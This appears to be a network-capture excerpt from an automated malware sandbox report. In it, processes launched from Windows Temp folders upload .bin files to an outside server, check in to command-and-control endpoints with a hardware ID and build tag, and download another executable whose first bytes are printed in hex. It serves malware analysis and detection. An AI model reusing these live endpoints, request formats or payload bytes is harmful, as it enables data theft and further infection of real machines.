Nov 30, 2024 09:45:52.416529894 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:45:52.417217970 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 09:45:52.417228937 CET	896	IN	Data Raw: 03 5c cb 10 9e b5 36 aa bf 01 95 55 fd 38 44 be e5 3a d5 39 85 b0 5b f3 e7 bc d4 13 aa 05 40 63 a4 2f 38 ae 83 9b d7 2f ce c2 31 bc d6 3d a0 28 30 10 7a f3 db b0 5e ea e4 45 d4 8f df 8d 86 ea 9d a4 77 9a 71 b5 d1 04 63 09 05 73 b1 a0 35 eb b7 03 Data Ascii: \6U8D:9[@c/8/1=(0z^Ewqcs5j2Vq+(F?>4 +ucT43)'h/WsCp5QhG:E$h3(Zot66ytqnxzgO2
Nov 30, 2024 09:45:52.418083906 CET	1236	IN	Data Raw: e0 f6 e0 1e aa 9d 36 f9 ff 0f c2 c0 1a e0 74 6c 70 b8 09 d8 2f 19 61 9d 37 36 c9 8c 21 da 7e ae 13 45 f8 cf 17 03 7e ae 4a 08 46 b8 25 b1 b2 30 fb ba 7c f9 e0 70 e6 ad 21 c5 ee f9 a1 a3 b4 06 19 7b bc a4 9e b6 06 5b a0 cc 21 e6 36 f2 7d b1 ea 00 Data Ascii: 6tlp/a76!~E~JF%0\|p!{[!6};@:fk&L&K7s\|j<O5Cjnco;G*3#:}driy,)sh\7@#<MLeowDix"=dDI;s]bj9#
Nov 30, 2024 09:45:52.418096066 CET	1236	IN	Data Raw: 2c d8 bc 28 a7 e0 db c2 a2 b1 58 88 b5 b5 9a bf 14 2c dd ec ad d6 df d9 a7 24 21 ec ac 40 d5 97 50 f4 70 99 3e 70 03 10 fc fa d6 d3 f9 2d c1 ba d5 d7 58 ce 14 b8 c4 ee af 99 77 d7 e6 94 74 c6 96 79 71 95 dc 02 90 7f 9a a0 e4 28 b7 11 f7 5e f0 6e Data Ascii: ,(X,$!@Pp>p-Xwtyq(^nLownED}{6bS6\$ +W!N$<6-,$,tfv=XuY*Wm_[ I:_MH4'7=7.7tlaF
Nov 30, 2024 09:45:52.418977022 CET	1236	IN	Data Raw: ef 92 9d 70 19 d6 48 65 94 25 53 f2 34 b0 44 6f 19 68 c7 d0 a0 c6 8d 1a ae 58 bc 34 ab 08 71 d7 f4 14 68 08 60 d6 ca 0c 25 78 bc d4 80 1f fd 75 47 da bc cb ae dc 33 3a 1a 14 b5 cb ec cc cb a7 94 1c 9f e7 1e 25 75 d3 18 f0 38 cd d2 1b a7 11 0c b8 Data Ascii: pHe%S4DohX4qh`%xuG3:%u8oP=-4&8Dz.h$/9:~gRX2E4TD?Lyxq5D/x+E\|/l8BMW/&5p& u9}&
Nov 30, 2024 09:45:52.418988943 CET	1236	IN	Data Raw: 21 33 47 9b aa cd ad ca d2 c5 c1 bf a4 29 a5 6c 19 dc c7 04 b0 c6 bb 3b e8 10 bd 88 ab b6 41 75 06 a8 b2 3d 41 19 bd be c6 d1 74 f5 c7 8e ca ac be b6 65 ba c2 a0 f9 77 f5 20 c8 78 2f c0 30 3a 81 d6 3d 7b 81 50 48 c2 96 a0 55 4a d2 41 bd 5c a7 2e Data Ascii: !3G)l;Au=Atew x/0:={PHUJA\.e?/93\|&<IPB%}t#T8J !'-w;&N u5}V8 >X%4o[+EE{4::%E\|[/09
Nov 30, 2024 09:45:52.419747114 CET	1236	IN	Data Raw: 7b e8 cb 10 4b 91 23 ca c1 48 35 c4 0b cc 79 eb d1 91 97 cb f3 c6 e7 be f2 19 99 21 de e6 7a e3 a1 cd bd a6 ae e4 31 3a 91 f6 93 f0 f0 b4 b5 ca ca 14 96 70 e4 5c 9c c0 18 d6 98 cb 2e c8 57 6d 11 00 95 bb e6 a0 b1 4b f5 0c bd be 94 54 b8 be ae b5 Data Ascii: {K#H5y!z1:p\.WmKT9u%n8zZLV$37H.kMw0[u_WUaoS\Aox?]tS<=lh~FY:X0)ZgjXa/M]:>
Nov 30, 2024 09:45:52.536372900 CET	1236	IN	Data Raw: 25 8a 33 ac 3e bc 3b 86 73 76 ce 58 4f ca d6 66 a5 e7 05 70 7a 58 c6 a9 1d 8d 77 81 13 cf 6f 7d a3 57 79 63 0e 00 fd e2 1d c4 0c 9f d4 2b 08 06 e9 0f 1e 04 07 51 2d b8 14 90 b0 59 24 00 94 3c ed 03 92 48 b5 c2 e6 67 67 3d d1 bf 89 8e 6d 33 10 ea Data Ascii: %3>;svXOfpzXwo}Wyc+Q-Y$<Hgg=m3$S\|aUq@ZK{Z2@{`<B~P~r5Rs]le9O[7u8?!y5\GHwM\Q(H<-V8@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49905	34.118.84.150	80	1904	C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:45:53.788270950 CET	647	OUT	POST /v1/upload.php HTTP/1.1 Host: twentykx20pt.top Accept: / Content-Length: 465 Content-Type: multipart/form-data; boundary=------------------------2ih2cDWEUZTDlNLsaHpta1 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 69 68 32 63 44 57 45 55 5a 54 44 6c 4e 4c 73 61 48 70 74 61 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 61 74 65 6d 65 64 65 68 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a e1 31 47 bb 5b 58 c9 c8 47 58 07 ba 81 b0 ff e6 ea 9e 06 63 47 7c 0c 65 aa e2 51 b1 0f 19 ad 1f d4 58 a6 de 8c 82 93 0c a8 55 ef bc b9 35 e3 bb 9b e9 b7 7a 6c e5 82 44 bd 18 d8 99 f7 a5 7a 27 15 db 95 45 76 bd ca c7 90 d5 1b 60 38 89 d4 1a 76 9e 1b 0f d1 55 08 46 c0 53 89 8f 93 a2 5e 4c 58 61 10 e1 4b 5d b4 b4 a1 a8 4a 1f 1e 22 96 55 e8 b6 bc 17 04 04 99 a1 99 69 b5 dc 31 a0 26 b7 a8 62 00 ea 0c db 43 b8 98 a9 c1 e3 8b fe 29 da 24 cb 54 fa 3e cd 96 9f 23 ca 04 6c ff 9e 30 68 e2 16 35 d7 e4 d8 16 6f 56 bf 98 3f f6 36 fd [TRUNCATED] Data Ascii: --------------------------2ih2cDWEUZTDlNLsaHpta1Content-Disposition: form-data; name="file"; filename="Batemedeh.bin"Content-Type: application/octet-stream1G[XGXcG\|eQXU5zlDz'Ev`8vUFS^LXaK]J"Ui1&bC)$T>#l0h5oV?6ikbAjWTqVs=7>AD5-<?}8u$3n--------------------------2ih2cDWEUZTDlNLsaHpta1--
Nov 30, 2024 09:45:55.131464958 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 30 Nov 2024 08:45:54 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 26 x-ratelimit-reset: 1732957114 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49906	185.156.72.65	80	8064	C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:45:54.153422117 CET	416	OUT	GET /add?substr=mixtwo&s=three&sub=nosub HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49915	34.118.84.150	80	1904	C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:45:56.673504114 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: twentykx20pt.top Accept: / Content-Length: 67371 Content-Type: multipart/form-data; boundary=------------------------2LqamfYqVitMWEi2kOOnTM Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 4c 71 61 6d 66 59 71 56 69 74 4d 57 45 69 32 6b 4f 4f 6e 54 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 54 69 79 65 74 65 73 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 60 9f 7a ce c7 54 45 af 98 c4 b3 cc 60 8d 80 ee ef b3 91 41 44 a7 27 b7 b3 04 4b 7b 70 c1 25 fe 89 b5 e5 4d 56 7e 9c 34 72 0e c0 b6 29 34 dd 40 79 92 80 03 6d 28 bf d3 a9 34 c9 5c bb ca a9 69 d1 f0 40 25 c0 a6 a0 3b 7c 50 47 2f cd 70 3f dd 68 1d f9 69 c0 11 88 48 1f 1b aa a9 72 06 03 fe 28 61 77 79 59 bd ad 94 f3 b4 a3 26 26 65 63 73 f3 b8 2c 27 e9 13 3a db c7 62 b1 b6 4f a3 39 55 d2 c6 80 86 cb 70 7e 4a 60 72 42 97 fb 09 c9 24 6d 31 3b 21 fd e4 52 46 dc 02 28 29 a3 07 74 18 09 79 8b 53 23 da 3b e1 ee 06 a4 3f 7f 31 40 59 0d [TRUNCATED] Data Ascii: --------------------------2LqamfYqVitMWEi2kOOnTMContent-Disposition: form-data; name="file"; filename="Tiyetes.bin"Content-Type: application/octet-stream`zTE`AD'K{p%MV~4r)4@ym(4\i@%;\|PG/p?hiHr(awyY&&ecs,':bO9Up~J`rB$m1;!RF()tyS#;?1@Y(6X<:A0rrXBTpPhk#ZGb%)GECM4\|2iv.coy{Q5ld(&Ea6#f8_\|>B%/tM$gZwa?[sRs%4CO)EC2@<<Avhh( .gHfR7KgeU&lnAa&=K^&So/?d{(Mv);Kb7p)6fxq+jj0@{(f"z:eB^'4;!!oWA}zG\/yJJHDc=`1t%bYyoV\uB56CK\|'sHfQqtstQ)]\|7po4"{3rYND<9O-3d!U2I(l(+'+#qAdB^U\G2v{M_4bHT?<x@o [TRUNCATED]
Nov 30, 2024 09:45:56.793709993 CET	4944	OUT	Data Raw: fa dd 5e d3 c6 97 a9 4b ba bb ec d3 41 28 bc ce ee f0 7e 8d 73 25 21 d6 c6 21 35 54 cf 96 a8 b7 1a 90 a2 d5 f1 fc 0e 5a 12 0c e1 a7 1b d5 95 52 5c 51 a2 b1 a1 f3 a6 37 06 2a 1d c1 f6 ac 3e c7 19 fc a3 d2 83 bc ab 70 8c dc d9 05 da 7e 70 73 f1 1d Data Ascii: ^KA(~s%!!5TZR\Q7>p~ps\W kKBlt+]_["y=L;RHI;A%(qj!o/OuI3W&Sb;w>[uGc@8VBVatP2iEFZ)rE/`[GrVP:
Nov 30, 2024 09:45:56.793728113 CET	2472	OUT	Data Raw: 63 68 f8 a8 79 b7 d3 04 d4 bc b1 52 58 6a 0d a0 a5 3a d3 9d 3e e3 a3 53 25 1c 02 a1 2b 36 ce b7 93 f3 c1 4d 82 4e ff 54 4d 70 ad e2 c6 cc d9 2b bc 63 e9 e3 8b 86 33 61 fd 33 9f 70 8f 8a 60 79 bb ec 96 f2 10 c5 d2 9f 39 47 da 7b 89 b5 e7 be ef 1a Data Ascii: chyRXj:>S%+6MNTMp+c3a3p`y9G{V\9}2/TX@.2GLG=StGptnc?e+I\|JeJIuggv;y&ZXO.e }z#m8UT5zp/4^}$n
Nov 30, 2024 09:45:56.793760061 CET	2472	OUT	Data Raw: 6c 39 c4 f6 65 91 a2 84 70 c7 fc 52 fa 5e 8b 59 b1 c0 3c 66 b9 22 ce 6e 33 c8 1f 24 98 df 3a 16 dd 49 d7 64 44 6f 21 9e 73 a6 58 62 9a 6a f0 07 8a 2a ed eb 71 1e b1 3c 9f a0 66 07 7f a8 f0 1f 10 9b 35 06 19 3c 56 0d e9 46 15 51 31 3c 44 c2 53 36 Data Ascii: l9epR^Y<f"n3$:IdDo!sXbj*q<f5<VFQ1<DS6.RG6VYy-D%`co^(.}z]E;y6N?>#YeP2^t=@wCvKu@B=%s{RMO
Nov 30, 2024 09:45:56.793811083 CET	4944	OUT	Data Raw: cc eb 59 ad b2 21 a9 65 07 01 3f 2d 85 db f0 fe 4b e7 81 a6 40 4f 5f 27 33 f0 5d 60 92 35 5c 77 30 48 7a 64 89 f1 99 bf 21 24 62 bd 85 cc 17 5f e6 c9 ef f9 2e ce 29 2d 42 c2 05 60 0e 38 f6 41 b2 e8 b8 0e b7 df 20 5b 45 5a 10 bc 19 62 24 b4 04 4a Data Ascii: Y!e?-K@O_'3]`5\w0Hzd!$b_.)-B`8A [EZb$J9Yv=5(0e-\`klc,M,wwV^LI!KjD-]`6ta\|[#kE4Pd2H3C#/;oB]IrrQ^K^lXEdpOnTv7
Nov 30, 2024 09:45:56.793895960 CET	4944	OUT	Data Raw: 26 bd 50 c0 44 10 76 02 0c 83 a5 86 c5 5d a5 56 05 8e e6 95 8e 90 fb f2 4f 32 15 ef e4 f3 64 6c e2 37 fc 69 9c 7f 12 c8 48 29 01 c0 63 36 55 1b 2c d1 b0 5f 8e 0d e9 51 1c 5e bc f8 34 76 9e be 78 62 a4 cc fb 8e c2 46 29 fa 96 fd 26 1e 6e 65 91 60 Data Ascii: &PDv]VO2dl7iH)c6U,_Q^4vxbF)&ne`LW2[Cd$h,-u$`>C=QY;5?hP'9VTnh.VI1`k:<X=ZnJ3-^/k5^aR#;
Nov 30, 2024 09:45:56.793927908 CET	2472	OUT	Data Raw: 68 b3 6a 10 6f bf 9c a6 97 0e 46 c2 5f de 65 ce a4 10 10 ce 3e 1a 3e 25 3a 00 77 19 61 bc 51 7f 78 7b 5d 77 0a 9c 93 76 f7 ae cc 6b ea 38 a5 9f d4 d2 b6 ac 9b 5b a4 d3 0a 6b 5b 0a c9 92 0a c4 e9 af 34 f0 24 97 40 40 93 59 1f 4d d5 05 b0 ad 71 4f Data Ascii: hjoF_e>>%:waQx{]wvk8[k[4$@@YMqOjXc@3Bh{V\._?u5+f3*`obb0BQ\|5z6"-"v\|nFiMJ^>_PT{ply dt2
Nov 30, 2024 09:45:56.795322895 CET	2472	OUT	Data Raw: 04 76 95 f0 27 ed b1 9e 2f 3c a1 fc 6a 71 78 33 01 4e 98 af f0 45 af 79 8f c6 f3 60 98 9d 1e aa f1 f9 4a 5c fa 24 35 44 f1 13 41 70 94 1f 7c 9e e5 cc e2 27 cc 32 dd cc 48 4e 88 1b bd 05 93 5a 08 c9 a9 2c ab cb 47 10 f4 42 65 e0 b2 44 28 67 7c 2c Data Ascii: v'/<jqx3NEy`J\$5DAp\|'2HNZ,GBeD(g\|,(&?UByYURu%_{E5S8Z-G7kO'_SXTGvtPlDWf )y1h]Z!vM.X'>[t/-U
Nov 30, 2024 09:45:56.913979053 CET	4944	OUT	Data Raw: 14 4d f3 24 41 02 21 59 1c 90 ec 79 93 ff 28 e9 1a 91 ad 26 c8 45 57 41 5c 2e 8e 83 2d 03 57 34 c5 02 30 94 d8 4f 5d d0 00 91 92 9c 75 b8 4b ed cd fa 97 b7 a6 71 d0 f1 3a e5 cc 04 94 47 62 d4 03 06 ae c1 af f5 7b f3 5e e1 5c de 5f 2d 60 24 d1 bb Data Ascii: M$A!Yy(&EWA\.-W40O]uKq:Gb{^\_-`$&>_+R4n^pg>r^@`&U\|~s`f@?=CRdTtMQ*9&aT-xPhQ 0CthTooW?"SY %
Nov 30, 2024 09:45:56.914026976 CET	4944	OUT	Data Raw: 92 4d 7e 4c 7d 65 4d e0 fa a4 c7 36 e9 25 8d e4 59 b6 b5 25 35 95 08 ed 30 db 86 58 5d e9 69 b6 28 4f 26 af a0 ad cd 63 f0 97 11 71 62 4a e0 7e a1 2a 99 ae 49 e9 8d 9d 28 0f a9 4f 34 3b d5 94 77 30 09 ad 47 b6 44 b7 e9 12 4b 4a 6f ae 4c e8 a4 40 Data Ascii: M~L}eM6%Y%50X]i(O&cqbJ~*I(O4;w0GDKJoL@0'1'i?[=pDpSH&VLw/>9xmUeqd+GSC2ws+wZrj,s_ir4yDPxx?a#
Nov 30, 2024 09:45:56.914164066 CET	4944	OUT	Data Raw: cb de f2 8c 7b e0 72 69 65 83 65 24 e7 76 a5 4b 2e 06 53 0c 90 bf 21 29 01 1c a7 19 36 61 2e b5 76 25 ad e5 37 75 36 2e fd 41 74 60 f1 bf 47 c0 61 c0 bf 84 8d 14 49 33 ec 54 4a 2b 1a 78 9c 22 be bf 35 1e f5 75 25 7f 95 11 2b 5a 0f ce 8b 33 36 9c Data Ascii: {riee$vK.S!)6a.v%7u6.At`GaI3TJ+x"5u%+Z36T\|{goq@.(yc;YKxe}'Rk%VVZX2<cB=o&YONb[\|t)M8r:>xl8xhvk:,P96y@R
Nov 30, 2024 09:45:58.481204033 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 30 Nov 2024 08:45:58 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 25 x-ratelimit-reset: 1732957114 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49919	185.215.113.43	80	7408	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:45:58.185278893 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 30 35 37 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010574001&unit=246122658369
Nov 30, 2024 09:45:59.522480965 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 08:45:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49920	185.215.113.206	80	7844	C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:45:58.336525917 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 30, 2024 09:45:59.673872948 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:45:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 30, 2024 09:46:00.163589001 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFIDBFHDBGIDHJJEGHI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 35 33 35 44 38 30 44 31 41 33 45 34 32 35 35 38 33 30 34 33 38 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 2d 2d 0d 0a Data Ascii: ------FBFIDBFHDBGIDHJJEGHIContent-Disposition: form-data; name="hwid"C535D80D1A3E4255830438------FBFIDBFHDBGIDHJJEGHIContent-Disposition: form-data; name="build"drum------FBFIDBFHDBGIDHJJEGHI--
Nov 30, 2024 09:46:00.607558966 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:46:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49927	185.215.113.16	80	7408	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:46:00.308914900 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 30, 2024 09:46:01.681981087 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 08:46:01 GMT Content-Type: application/octet-stream Content-Length: 922112 Last-Modified: Sat, 30 Nov 2024 08:19:37 GMT Connection: keep-alive ETag: "674aca99-e1200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 91 ca 4a 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 62 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELJg"bw@p{@@@d\|@\u4@.text `.rdata@@.datalpH@.rsrc\@@@.relocuv@B
Nov 30, 2024 09:46:01.682312965 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQ
Nov 30, 2024 09:46:01.682668924 CET	1236	IN	Data Raw: e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 00 68 21 24 44 00 e8 0d f0 01 00 59 Data Ascii: h$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\
Nov 30, 2024 09:46:01.682907104 CET	1236	IN	Data Raw: 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 00 00 8d 8f 7c fd ff ff e8 23 83 00 Data Ascii: OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY9404
Nov 30, 2024 09:46:01.682915926 CET	248	IN	Data Raw: 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 Data Ascii: j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]
Nov 30, 2024 09:46:01.683701992 CET	1236	IN	Data Raw: 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 c9 e5 00 00 8a 46 30 88 47 30 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 89 11 40 89 41 0c 89 51 08 88 51 10 89 51 Data Ascii: uWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jAZ @uSV5I3WjXSG
Nov 30, 2024 09:46:01.683969021 CET	1236	IN	Data Raw: 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 00 8a 01 c3 83 39 00 0f 95 c0 c3 8b 41 08 83 78 04 00 eb f3 55 8b ec 53 56 8b 75 08 33 db 57 8a d3 8b 0e 8d Data Ascii: At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+fy4
Nov 30, 2024 09:46:01.683979988 CET	1236	IN	Data Raw: 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d ec 8d 8d 54 ff ff ff 50 47 e8 5a 03 00 00 8b 45 d8 8b 48 04 8b 85 58 ff ff ff 89 45 bc e9 a6 fe ff ff 83 e8 21 0f 85 23 01 00 00 8b 41 04 6a 7f Data Ascii: ;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]ETpXEE
Nov 30, 2024 09:46:01.684658051 CET	372	IN	Data Raw: 01 04 00 83 7d 1c 00 0f 85 b6 01 04 00 83 7d 20 00 75 19 83 7d 24 00 0f 85 7e 01 04 00 33 c0 5d c2 20 00 6a ff 6a 77 e9 73 01 04 00 6a ff 6a 73 e9 6a 01 04 00 55 8b ec 83 ec 0c 56 8b f1 8b 46 0c 83 f8 06 7d 03 5e c9 c3 57 33 c9 6a 04 5a f7 e2 0f Data Ascii: }} u}$~3] jjwsjjsjUVF}^W3jZQL>3YNF~F<BN$;\|SA23~,FDMEuNGA;\|u[_FMFMLU,SVWL$(D$83
